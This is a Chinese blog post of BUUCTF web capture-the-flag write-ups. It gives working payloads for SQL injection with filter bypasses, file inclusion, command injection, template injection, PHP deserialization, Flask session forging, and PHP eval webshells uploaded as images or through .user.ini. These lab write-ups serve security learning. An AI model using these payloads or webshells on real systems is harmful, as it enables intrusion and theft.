BUUCTF寒假刷题-Web

警告
本文最后更新于 2021-01-18,文中内容可能已过时。

寒假横向刷题(尽量) BUUCTF 💗🧡💛💚💙💜🤎🖤🤍 题都写这一个里面了,可以先用Ctrl+F搜索,还有部分是草稿还没有整理,不过我认为的思路已经整理出来了,看不懂还请大伙见谅。有问题了很乐意效劳💨

2021.01.15

[HCTF 2018]WarmUp

进到靶机一个硕大的滑稽,查看源码有提示source.php

https://cdn.jsdelivr.net/gh/penginman/PicBed@master/artical/20210120101413.png

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?>

发现白名单有source.php和hint.php,先去查看一下hint.php

flag not here, and flag in ffffllllaaaagggg

分析源码

  • 判断$_REQUEST['file']对象为空且为字符串
  • 执行emmm类中的checkFile方法判断是否在白名单(确保函数返回是true)
  • 文件包含

checkFile函数中字符串截取判断是否在白名单(代码17-24和26-34)所以有两种绕过方法。

  1. 第一种
1
file=hint.php?../../../../../ffffllllaaaagggg

字符串截取将原字符串尾部加上?再截取第一个?之前的内容。所以需要在构造payload时问号前需要是白名单里的文件。问号之后,猜测flag位置在根目录下,所以使用尽可能多的../返回上级目录。

  1. 第二种
1
hint.php%3F..%2F..%2F..%2F..%2F..%2Fffffllllaaaagggg

将第一种payload使用urlencode编码即可。


[强网杯 2019]随便注

https://cdn.jsdelivr.net/gh/penginman/PicBed@master/artical/20210120094248.png

根据题目尝试sql注入,单引号报错,单引号加注释无报错,说明存在sql注入,当测试输入select时返回过滤的黑名单:

1
return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

这道题使用的是堆叠注入,原理

在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。用户输入:1; DELETE FROM products服务器端生成的sql语句为:(因未对输入的参数进行过滤)Select * from products where productid=1;DELETE FROM products当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。

查看数据库

1
1';show databases;

https://cdn.jsdelivr.net/gh/penginman/PicBed@master/artical/20210120095211.png

查看当前库下的表

1
1';show tables;

https://cdn.jsdelivr.net/gh/penginman/PicBed@master/artical/20210120095339.png

查看两张表字段

1
1';show columns from words;

https://cdn.jsdelivr.net/gh/penginman/PicBed@master/artical/20210120095607.png

还有一种查看表的语句,在windows系统下,反单引号(`)是数据库、表、索引、列和别名用的引用符

1
1';desc `1919810931114514`;

https://cdn.jsdelivr.net/gh/penginman/PicBed@master/artical/20210120095839.png

找到了flag在的字段,接下来就是如何获取该字段的值。顺带一提,根据表的结构,初步判断默认查询的是word表中的字段,而flag在1919810931114514表中。

网上找到的两种方法,分别是修改表名和使用预处理语句。

  1. 使用预处理语句

因为select被过滤了,但是可以使用char函数,char() 函数将select的ASCII码转换为select字符串,接着利用concat()函数进行拼接得到select查询语句,从而绕过过滤。或者直接用concat()函数拼接select来绕过。

1
char(115,101,108,101,99,116)

根据预处理语句格式构造payload

  • 创建一个sqli字符串值为查询sql语句,使用预处理语句赋值并执行。
1
1';SET @sqli=concat(char(115,101,108,101,99,116),'* from `1919810931114514`');PREPARE hacker from @sqli;EXECUTE hacker;#
  • 不使用变量
1
1';PREPARE sqli FROM CONCAT('s','elect',' * from `1919810931114514`');EXECUTE sqli; #
  • 还有一种
1
1';SET @sqli = CONCAT('s','e','l','e','c','t',' * from `1919810931114514`');PREPARE haha FROM@sqli ;EXECUTE haha; #

主要区别在于过滤的绕过方式,不要拘泥于一种方式。

  1. 修改表名

修改表名的思路是:默认查询的是word表第一个字段,所以把word表修改为其他名称,将flag所在的1919810931114514表名修改为word

网上payload

1
0';rename table words to words1;rename table `1919810931114514` to words;alter table words change flag id varchar(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;desc  words;#

自己构造的payload

1
0';rename table words to words1;rename table `1919810931114514` to words;alter table words change flag id varchar(100) #

之后执行

1
1' or 1=1 #

查询表所有字段值即可。


[极客大挑战 2019]EasySQL

https://cdn.jsdelivr.net/gh/penginman/PicBed@master/artical/20210120101528.png

用户名密码,尝试万能密码。

1
2
'or 1=1 #
随便密码

一个万能密码的参考:https://www.cnblogs.com/pass-A/p/11134988.html


[极客大挑战 2019]Havefun

https://cdn.jsdelivr.net/gh/penginman/PicBed@master/artical/20210120101733.png

直接源码找到php代码。payload

1
?cat=dog

[SUCTF 2019]EasySQL

https://cdn.jsdelivr.net/gh/penginman/PicBed@master/artical/20210120102317.png

单引号无报错,尝试堆叠注入可以回显。

和 [强网杯 2019]随便注这道题一样查库查表查字段

1
2
1;show databases;
1;show tables;

但是执行

1
2
1;desc `Flag`;
1;show columns from Flag;

返回了"Nonono.“测试出被过滤了:desc、from、Flag。

接下来的都是抄网上的预期解也是第一次见。

比赛时源码泄露

1
select $_GET['query'] || flag from flag

在oracle 缺省支持 通过 ‘ || ’ 来实现字符串拼接,但在mysql 缺省不支持。需要调整mysql 的sql_mode 模式:pipes_as_concat 来实现oracle 的一些功能

payload

1
1;set sql_mode=PIPES_AS_CONCAT;select 1

非预期解

1
*,1 

[ACTF2020 新生赛]Include

不截图了,进入靶机只有一个tips等着被点。跳转以后看url中参数

1
?file=flag.php

页面内容只有

Can you find out the flag?

立马想到使用php伪协议读文件内容。使用filter过滤器

1
?file=php://filter/convert.base64-encode/resource=flag.php

得到

1
PD9waHAKZWNobyAiQ2FuIHlvdSBmaW5kIG91dCB0aGUgZmxhZz8iOwovL2ZsYWd7OTAyNTIyNDgtMjY3NC00NDdjLWFlYWMtYjc3ZTc5YjYwMzVmfQo=

解密得到flag


[极客大挑战 2019]Secret File

https://cdn.jsdelivr.net/gh/penginman/PicBed@master/artical/20210120103724.png

查看源码,又一个背景是黑色的超链接跳转到 Archive_room.php。

https://cdn.jsdelivr.net/gh/penginman/PicBed@master/artical/20210120103842.png

查看源码SECRET跳转的是action.php。

https://cdn.jsdelivr.net/gh/penginman/PicBed@master/artical/20210120103907.png

但是跳转以后是url地址为end.php,所以中间跳过了一个页面,使用bp抓包查看。

https://cdn.jsdelivr.net/gh/penginman/PicBed@master/artical/20210120104246.png

stristr()函数返回字符串中子串第一次出现位置之后的内容,简而言之还是过滤。

同样使用php伪协议filter过滤器读取文件

1
?file=php://filter/convert.base64-encode/resource=flag.php
1
PCFET0NUWVBFIGh0bWw+Cgo8aHRtbD4KCiAgICA8aGVhZD4KICAgICAgICA8bWV0YSBjaGFyc2V0PSJ1dGYtOCI+CiAgICAgICAgPHRpdGxlPkZMQUc8L3RpdGxlPgogICAgPC9oZWFkPgoKICAgIDxib2R5IHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOmJsYWNrOyI+PGJyPjxicj48YnI+PGJyPjxicj48YnI+CiAgICAgICAgCiAgICAgICAgPGgxIHN0eWxlPSJmb250LWZhbWlseTp2ZXJkYW5hO2NvbG9yOnJlZDt0ZXh0LWFsaWduOmNlbnRlcjsiPuWViuWTiO+8geS9oOaJvuWIsOaIkeS6hu+8geWPr+aYr+S9oOeci+S4jeWIsOaIkVFBUX5+fjwvaDE+PGJyPjxicj48YnI+CiAgICAgICAgCiAgICAgICAgPHAgc3R5bGU9ImZvbnQtZmFtaWx5OmFyaWFsO2NvbG9yOnJlZDtmb250LXNpemU6MjBweDt0ZXh0LWFsaWduOmNlbnRlcjsiPgogICAgICAgICAgICA8P3BocAogICAgICAgICAgICAgICAgZWNobyAi5oiR5bCx5Zyo6L+Z6YeMIjsKICAgICAgICAgICAgICAgICRmbGFnID0gJ2ZsYWd7ZmZjZTAwNWYtYjEyOS00YWM1LTg3MzYtZDM3YzUwYjYxNjZkfSc7CiAgICAgICAgICAgICAgICAkc2VjcmV0ID0gJ2ppQW5nX0x1eXVhbl93NG50c19hX2cxcklmcmkzbmQnCiAgICAgICAgICAgID8+CiAgICAgICAgPC9wPgogICAgPC9ib2R5PgoKPC9odG1sPgo=

解密得到网页源码,flag在其中。


[极客大挑战 2019]LoveSQL

顶端の告诫:用 sqlmap 是没有灵魂的

https://cdn.jsdelivr.net/gh/penginman/PicBed@master/artical/20210120104703.png

尝试万能密码(其实没卵用)

1
2
'or 1=1 #
任意密码

这道题是常规的sql注入,测注入点、查字段数、爆库、爆字段值、爆表。组合拳

字段数:

1
1' order by 3 #

爆库:

1
2
3
1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() #

geekuser,l0ve1ysq1

爆字段值:

1
2
3
1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1' #

id,username,password

爆表:

1
2
3
1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1 #

'1cl4ywo_tai_nan_le,2glzjinglzjin_wants_a_girlfriend,3Z4cHAr7zCrbiao_ge_dddd_hm,40xC4m3llinux_chuang_shi_ren,5Ayraina_rua_rain,6Akkoyan_shi_fu_de_mao_bo_he,7fouc5cl4y,8fouc5di_2_kuai_fu_ji,9fouc5di_3_kuai_fu_ji,10fouc5di_4_kuai_fu_ji,11fouc5di_5_kuai_fu_ji,12fouc5di_6_kuai_fu_ji,13fouc5di_7_kuai_fu_ji,14fouc5di_8_kuai_fu_ji,15leixiaoSyc_san_da_hacker,16flagflag{c4e8849c-e0e3-4e0d-b701-26a5abeec46a}'

2021.01.21

[GXYCTF2019]Ping Ping Ping

传送门


[ACTF2020 新生赛]Exec

https://cdn.jsdelivr.net/gh/penginman/PicBed@master/artical/20210121090002.png

肯定是尝试管道符

1
127.0.0.1|cat /flag

[护网杯 2018]easy_tornado

打开页面三个超链接

/flag.txt

/welcome.txt

hints.txt

内容分别是

flag in /fllllllllllllag

render

md5(cookie_secret+md5(filename))

进入hints.txt注意到url地址此时为

1
/file?filename=/hints.txt&filehash=2a84a09bc1d5e3d8745131754ff208fa

再根据hints.txt文件的内容,推断可以使用url方式访问文件,但是需要提供filehash值,加密的方法即hints.txt的内容:md5(cookie_secret+md5(filename))。flag文件的名称filename有了,接下来就是获取cookie_secret的值。

接下来触及到盲区了,获取cookie_secret是看wp。

render是python中的一个渲染函数,也就是一种模板,通过调用的参数不同,生成不同的网页 render配合Tornado使用

在tornado模板中,存在一些可以访问的快速对象,这里用到的是handler.settings,handler 指向RequestHandler,而RequestHandler.settings又指向self.application.settings,所以handler.settings就指向RequestHandler.application.settings了,这里面就是我们的一些环境变量

获取cookie_secret的payload

1
/error?msg={{handler.settings}}

https://cdn.jsdelivr.net/gh/penginman/PicBed@master/artical/20210121091616.png

获得cookie_secret的值为

1
eb326d39-cd67-47bd-b2d3-71125996417b

根据hints.txt的url验证一下是如何加密的。

https://cdn.jsdelivr.net/gh/penginman/PicBed@master/artical/20210121092122.png

选中的蓝色部分是/hints.txt加密后的md5值。推断出filehash格式以后直接访问flag文件,payload:

1
/file?filename=/hints.txt&filehash=2a84a09bc1d5e3d8745131754ff208fa

[极客大挑战 2019]Knife

https://cdn.jsdelivr.net/gh/penginman/PicBed@master/artical/20210121092431.png

一句话直接连。


[RoarCTF 2019]Easy Calc

https://cdn.jsdelivr.net/gh/penginman/PicBed@master/artical/20210121092956.png

一个计算器随便试一试,当输入字母时会报错。查看网页源码,在script中发现了运行计算器的php文件:calc.php,但是也有一句很重要的注释

1
<!--I've set up WAF to ensure security.-->

https://cdn.jsdelivr.net/gh/penginman/PicBed@master/artical/20210121093233.png

php的正则表达式中并没有过滤字母的条件,所以我们输入字母被过滤是因为WAF,接下来是参考网上的wp自己的理解

可以在calc.php传参

1
? num=a

php会输出一个值a,说明已经绕过了WAF。这里使用的是WAF和php解析方法不一样,WAF解析到空格’ ‘会直接过滤掉,这样WAF认为传入的就是一个空值,并不会识别num,但是php解析的时候会把空格去掉,这样就能get到num的值。

接下来绕过正则就可以使用char()的方式使用ascii码转。空格被过滤但是想使用php输出可以使用var_dump()

查看根目录下文件,可以使用scandir()遍历文件夹,其中char(47)——> ‘/’ :

1
? num=1;var_dump(scandir(chr(47)))

找到了疑似flag文件:f1agg,使用file_get_contents()读取文件

1
?%20num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

[极客大挑战 2019]Http

https://cdn.jsdelivr.net/gh/penginman/PicBed@master/artical/20210121104213.png

查看源码在"氛围"这两个字上有隐藏的跳转Secret.php。进入以后页面显示

1
It doesn't come from 'https://www.Sycsecret.com'

提示页面不是来自这个网址,所以在HackBar上加上Referer。之后又提示

1
Please use "Syclover" browser

加上User-Agent。提示

1
No!!! you can only read this locally!!!

加上X-Forwarded-For。HTTP X-Forwarded-For 介绍

最终的请求头:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
GET /Secret.php HTTP/1.1
Host: node3.buuoj.cn:26715
Upgrade-Insecure-Requests: 1
User-Agent: Syclover
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
x-forwarded-for: 127.0.0.1
referer: https://www.Sycsecret.com
Connection: close

[极客大挑战 2019]PHP

https://cdn.jsdelivr.net/gh/penginman/PicBed@master/artical/20210121105104.png

源码备份在www.zip中。下载以后有五个文件

class.php

flag.php

index.js

index.php

style.css

在index.php中有一段代码

1
2
3
4
5
<?php
    include 'class.php';
    $select = $_GET['select'];
    $res=unserialize(@$select);
    ?>

再结合又一个class.php,所以这道题考点应该是反序列化。

class.php

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
include 'flag.php';


error_reporting(0);


class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();

            
        }
    }
}
?>

获取flag的代码位置是30-32行。分析这个Name对象,创建对象时可以为对象赋值,对象销毁时会判断password值是否是100,且username值是否为admin,如果两者都成立输出flag,但是__wakeup()会在反序列化时调用将username值置为guest,所以需要反序列化逃逸。这里面有反序列化讲解CVE-2016-7124漏洞复现

我使用的构造对象

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
<?php
class Name{
    private $username ='admin';
    private $password ='100';
}

$a = new Name;
echo serialize($a);

O:4:"Name":2:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}

反序列化逃逸,使对象属性的数量大于原来的值,就可以绕过wakeup函数。最终payload

1
?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}

[极客大挑战 2019]Upload

https://cdn.jsdelivr.net/gh/penginman/PicBed@master/artical/20210121111429.png

先尝试上传一个gif图片马内容为

1
2
3
GIF89a
<?php
@eval($_POST['a']);

页面提示过滤:

NO! HACKER! your file included ‘<?’

尝试script执行php代码

1
<script language="php">eval($_POST['cmd'])</script>

可以上传,文件在/upload目录下。尝试修改后缀上传,phtml上传成功,可以执行php和script代码,使用蚁剑连接。

https://cdn.jsdelivr.net/gh/penginman/PicBed@master/artical/20210121112135.png


2021.01.28

[极客大挑战 2019]BabySQL

https://cdn.jsdelivr.net/gh/penginman/PicBed@master/artical/20210128113412.png

尝试万能密码,发现报错了:1=1#’ and password=‘123’,也许是or被过滤了或者删掉了,尝试大小写无果,但是尝试双写通过了。需要注意的是爆表,爆数据库的语句中有information这个词,其中的for也会被过滤。其他过滤的词我遇到的有:union,select、from、where、and。

爆数据库(填密码):

1
1' uniunionon selselectect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema=database() #

爆表:

1
1' uniunionon selselectect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_schema=database() aandnd table_name='b4bsql' #

爆字段值:

1
1' uniunionon selselectect 1,2,group_concat(id,username,passwoorrd) ffromrom b4bsql #

[ACTF2020 新生赛]Upload

https://cdn.jsdelivr.net/gh/penginman/PicBed@master/artical/20210128114257.png

指针放在灯泡上护显示上传文件的,图片马

233.gif

1
2
3
GIF89a
<?php
@eval($_POST['a']);

尝试phtml是否被过滤,直接上传成功。蚁剑连接

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
------WebKitFormBoundaryUMSByAQmR2cduL6R
Content-Disposition: form-data; name="upload_file"; filename="233.phtml"
Content-Type: image/gif

GIF89a
<?php
@eval($_POST['a']);
------WebKitFormBoundaryUMSByAQmR2cduL6R
Content-Disposition: form-data; name="submit"

upload
------WebKitFormBoundaryUMSByAQmR2cduL6R--

[ACTF2020 新生赛]BackupFile

1
Try to find out source file!

题目提示备份文件,备份文件常见后缀:

.git .svn .swp .~ .bak .bash_history

尝试index.php.bak,下载了一个备份文件:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
<?php
include_once "flag.php";

if(isset($_GET['key'])) {
    $key = $_GET['key'];
    if(!is_numeric($key)) {
        exit("Just num!");
    }
    $key = intval($key);
    $str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
    if($key == $str) {
        echo $flag;
    }
}
else {
    echo "Try to find out source file!";
}

传一个必须为数字的参数key,使用intval()函数处理,字符串相等则输出flag。这就想到了PHP中的=====的区别。贴一段简单代码

1
2
3
4
5
6
7
<?php
$str = 'abc';
if(0==$str){
	echo "真";
}else{
	echo "假";
}

==在执行关系运算时,要求运算符两边的数据类型必须一致,所以等号右边的字符串被强制转换为了整型,若有一方为数字,另一方为字符串或空或null,均会先将非数字一方转化为0,再做比较。如果字符串是以数字开头的,就会截取直到遇到第一个字母。

全等于===操作过程如下:

  1. 操作符两边的数据类型如果不相同,返回false 。
  2. 操作符两边的值如果不相同,返回false 。
  3. 最后将上面2步的操作进行与操作。返回与操作的结果。

所以最终的payload:

1
?key=123

[HCTF 2018]admin

https://cdn.jsdelivr.net/gh/penginman/PicBed@master/artical/20210202182820.png

可以在注释里找到

思路应该是只要我们是admin登陆就可以得到flag,可以找到注册按钮,不能注册admin,那就随便注册一个进去看看。找到几个功能。

  • post。发表文章,但是没能找到在哪里打开
  • change password。改密码,尝试下能不能抓包改到admin的密码

修改密码抓到的包:

https://cdn.jsdelivr.net/gh/penginman/PicBed@master/artical/20210202183647.png

感觉并没有什么下手的地方,唯一的就是session可能和身份有关。

以下的是看网上的wp

在change password页面查看源码,发现提供了题目的源码地址

1
<!-- https://github.com/woadsl1234/hctf_flask/ -->

网站使用的是flask框架,具体路由表如下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
@app.route('/code')		#二维码
def get_code():

@app.route('/index')		#首页
def index():

@app.route('/register', methods = ['GET', 'POST'])		#注册
def register():

@app.route('/login', methods = ['GET', 'POST'])		#登陆
def login():

@app.route('/logout')		#登出
def logout():

@app.route('/change', methods = ['GET', 'POST'])		#修改密码
def change():

@app.route('/edit', methods = ['GET', 'POST'])		#编辑信息
def edit():

这个解法和前面查看请求头时发现的session有关,flask框架是通过session来判断登录的用户身份,但是这个session是通过一些字符串拼接后加密的,所以如果我们可以知道字符串和加密算法,就可以实现伪造session。

贴两篇相关文章:

Python Web之flask session&格式化字符串漏洞

客户端 session 导致的安全问题

首先需要注册一个账号登陆上去,看看请求头Cookie里的session值。

说明一下flask的session值加密格式是:SECRET_KEY +一个用户对象的字符串(就像PHP里的序列化后)。SECRET_KEY的值我们可以在源码里找到:https://github.com/woadsl1234/hctf_flask/blob/master/app/config.py中的第四行

1
SECRET_KEY = os.environ.get('SECRET_KEY') or 'ckj123'

可以得知SECRET_KEY值为ckj123。然后在index.html页面发现只要session[‘name’] == ‘admin’即可以得到flag。接下来就要使用到一个解密工具,需要解密出用户字符串的格式,再将用户名改为admin,加密后再去请求,我们就可以以admin的身份登陆了。

如下 P师傅 的程序解密:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode

def decryption(payload):
    payload, sig = payload.rsplit(b'.', 1)
    payload, timestamp = payload.rsplit(b'.', 1)

    decompress = False
    if payload.startswith(b'.'):
        payload = payload[1:]
        decompress = True

    try:
        payload = base64_decode(payload)
    except Exception as e:
        raise Exception('Could not base64 decode the payload because of '
                         'an exception')

    if decompress:
        try:
            payload = zlib.decompress(payload)
        except Exception as e:
            raise Exception('Could not zlib decompress the payload before '
                             'decoding the payload')

    return session_json_serializer.loads(payload)

if __name__ == '__main__':
    print(decryption(sys.argv[1].encode()))

执行命令

1
python run.py .eJw90MGKwkAMBuBXWXL2YLvuRfAgjBaFpFRGh8lFdK1tpxOFqmwd8d131gVvIX_4SPKA7bErLzWMr92tHMC2OcD4AR97GIPVOKIU-zzDgI4bDAeP2cZhWAcSO0SzcpiuhM26R1OMYi8h4faVSZGyniYYqk8y7FgdmlzFOV1LrufCat6gxpSikRu8WzMLrNqE1CJFXYzYRMmwZ-HahmXNGTkKi7sNbUpq6aP_xcpLrthbZyfwHMD3pTtur-e2PL1PyP_IUAWKS1uZ9Si2JzP3nLGg4NA6TMjYH9bexbonXXsuJi-ukV1VvqVi4xer6X9y2kkMoLqd97tTBQO4Xcru9TlIhvD8BSJwb7A.YELi9g.D_opOsSTFKn3wKeMF1rcGksx5HA

结果

1
{'_fresh': True, '_id': b'a387c18c326b37e0ec3536f41dc3dfee11d86f56fd6f42d6e053875fcd7b85118f91fd1b1365dc9c2aa3d95426148ecfefeffac2adcc722c9642e2d9d9f86eb6', 'csrf_token': b'895783633ba12f15aedff2c4b355f0e9cb3158ee', 'image': b'AYHD', 'name': 'guobang', 'user_id': '10'}

然后我们需要吧name的值修改为admin。修改完成以后还需要回到原来的session格式,那么就需要用到一个加密flask的工具:flask-session-cookie-manager

这个工具也可以用来解密。我整理的使用方法如下,记得要用双引号""括起来

python flask_session_cookie_manager{2,3}.py {encode,decode}

-s “SECRET_KEY” 都需要使用 -c “Session cookie value” session的值 只有解密decode用得到 -t “Session cookie structure” cookie结构 只有encode用得

执行

1
python flask_session_cookie_manager3.py encode -s "ckj123" -t "{'_fresh': True, '_id': b'a387c18c326b37e0ec3536f41dc3dfee11d86f56fd6f42d6e053875fcd7b85118f91fd1b1365dc9c2aa3d95426148ecfefeffac2adcc722c9642e2d9d9f86eb6', 'csrf_token': b'895783633ba12f15aedff2c4b355f0e9cb3158ee', 'image': b'AYHD', 'name': 'admin', 'user_id': '10'}"

得到

1
.eJw90MGKwkAMBuBXWXL2YLvdi-BBGC0KSamMDpOLuNtqO524UJWtI777zrrgLeQPH0nusDv09bmByaW_1iPYtRVM7vD2CROwGjNKcShyDOi4xVB5zLcOwyaQ2DGatcN0LWw2A5oyi72EhLtnJmXKepZgOL6TYceqagsV53QjhV4Iq0WLGlOKRmHwZs08sOoSUssUdZmxiZJhz8KNDauGc3IUljcbupTUykf_g5WXQrG3zk7hMYKvc3_YXb67-vQ6ofgjwzFQXNrKfECxA5mF55wFBcfWYULG_rD2LtYD6cZzOX1yreyP9Usqt365nv0np73EAPaVtCcYwfVc98-_QTKGxy8-U27W.YELpfA.vD1SVCAxOcwOPXc_DbwFqJT1TRg

放在请求头中,格式为

1
cookie: session=加密内容

https://cdn.jsdelivr.net/gh/penginman/PicBed@master/artical/20210306103214.png

第二种方法是利用代码中的strlower()函数的使用不当。这个函数分别在注册、登陆、修改密码的地方出现三次。这个方法的思路就是unicode加密三层,在最后一层修改密码时执行函数strlower()后修改到admin的密码。过程为

ᴬᴰᴹᴵᴺ——注册后——>ADMIN—修改密码—>admin

payload

1
ᴬᴰᴹᴵᴺ

注册以后使用ᴬᴰᴹᴵᴺ登陆,然后修改密码时实际修改的就是admin的密码了,然后登陆admin即可。


[极客大挑战 2019]BuyFlag

https://cdn.jsdelivr.net/gh/penginman/PicBed@master/artical/20210121104213.png
网站题直接去看源码,在源码也搜索php有两个:index.php、pay.php。前者是首页,直接看后面的那个,打开就有提示

Only Cuit’s students can buy the FLAG

应该还是一道http的套娃题。查看网页的请求发现Cookie中有一个user=0,很可疑,改成user=1,有了下一个提示:输入密码,并且源码中有一段php

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
<!--
	~~~post money and password~~~
if (isset($_POST['password'])) {
	$password = $_POST['password'];
	if (is_numeric($password)) {
		echo "password can't be number</br>";
	}elseif ($password == 404) {
		echo "Password Right!</br>";
	}
}

还记得php==关系运算会强制转换类型,用POST传一个password=404a,404a会被强制转换为404,密码就对上了。接下来是钱的问题,flag需要100000000块钱我们也去要传过去。如果直接传入这么长的会提示字符串过长,所以我想到了科学计数法,10e10,就是10的10次方,通过。最终的请求:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
POST /pay.php HTTP/1.1
Host: 268f365e-648d-477c-ba25-0c56572cc31f.node3.buuoj.cn
Content-Length: 25
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://268f365e-648d-477c-ba25-0c56572cc31f.node3.buuoj.cn
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.104 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://268f365e-648d-477c-ba25-0c56572cc31f.node3.buuoj.cn/pay.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: user=1
Connection: close

password=404a&money=10e10

[SUCTF 2019]CheckIn

https://cdn.jsdelivr.net/gh/penginman/PicBed@master/artical/20210201103750.png

知识点

.user.ini。它比.htaccess用的更广,不管是nginx/apache/IIS,只要是以fastcgi运行的php都可以用这个方法。可谓很广,不像.htaccess有局限性,只能是apache.

准备好.user.ini文件内容为自动包含图片马,因为上传会检查文件头,所以添加了一个GIF文件头伪装:

1
2
GIF89a
auto_prepend_file=233.gif

接下来上传图片马,尝试了正常上传PHP马会提示:

<? in contents!

所以使用script马执行php:

1
2
GIF89a
<script language="php">eval($_REQUEST[shell])</script>

上传成功后会提示文件路径:

Your dir uploads/852aff287f54bca0ed7757a702913e50 Your files : array(5) { [0]=> string(1) “.” [1]=> string(2) “..” [2]=> string(9) “.user.ini” [3]=> string(7) “233.gif” [4]=> string(9) “index.php” }

这时候.user.ini文件已经会帮我们自动包含图片马了,所以我们只需要访问一个PHP文件即可,正好上传目录下有一个index.php文件,可以直接蚁剑连接或者POST请求system(‘cat /flag’)。


[BJDCTF2020]Easy MD5

https://cdn.jsdelivr.net/gh/penginman/PicBed@master/artical/20210201105021.png

参考:

【Jarvis OJ】Login–password=’".md5($pass,true)."

sql注入:md5($password,true)

Leet More 2010 Oh Those Admins! writeup

随便输入一些东西都没有反应,在请求头中发现了一个Hint:

select * from ‘admin’ where password=md5($pass,true)

语法

md5(string,raw)

参数描述
string必需。要计算的字符串。
raw可选。默认不写为FALSE。32位16进制的字符串TRUE。16位原始二进制格式的字符串

概括理解,这里如果raw参数为true的话,这个函数的返回值是string的md5加密值进行十六进制解码的字符串。这道题我当时是直接看了源码跳过了第一层,第一层的答案其实是ffifdyop,我们来对它进行一波操作

  • 源字符串:ffifdyop

  • md5加密值:276f722736c95d99e921722cf9ed621c

  • hex解码:‘or'6É].é!r,ùíb.

最后那几个应该是不可见字符,重要的是前面一段:'or'6,这里还要说明一下,这提示应该不算严谨,真正的sql语句应该是在md5函数前后各一个'单引号。执行以后真正的sql语句为

1
select * from 'admin' where password=''or'6É].é!r,ùíb.‘

可以看到原理是构成一个闭合,这里还有第二个知识点,是or后面的字符串被认为是true,引用文章里的一段:

a string starting with a 1 is cast as an integer when used as a boolean.

在mysql里面,在用作布尔型判断时,以1开头的字符串会被当做整型数。要注意的是这种情况是必须要有单引号括起来的,比如password=‘xxx’ or ‘1xxxxxxxxx’,那么就相当于password=‘xxx’ or 1 ,也就相当于password=‘xxx’ or true,所以返回值就是true。当然在我后来测试中发现,不只是1开头,只要是数字开头都是可以的。

自己进行的测试:

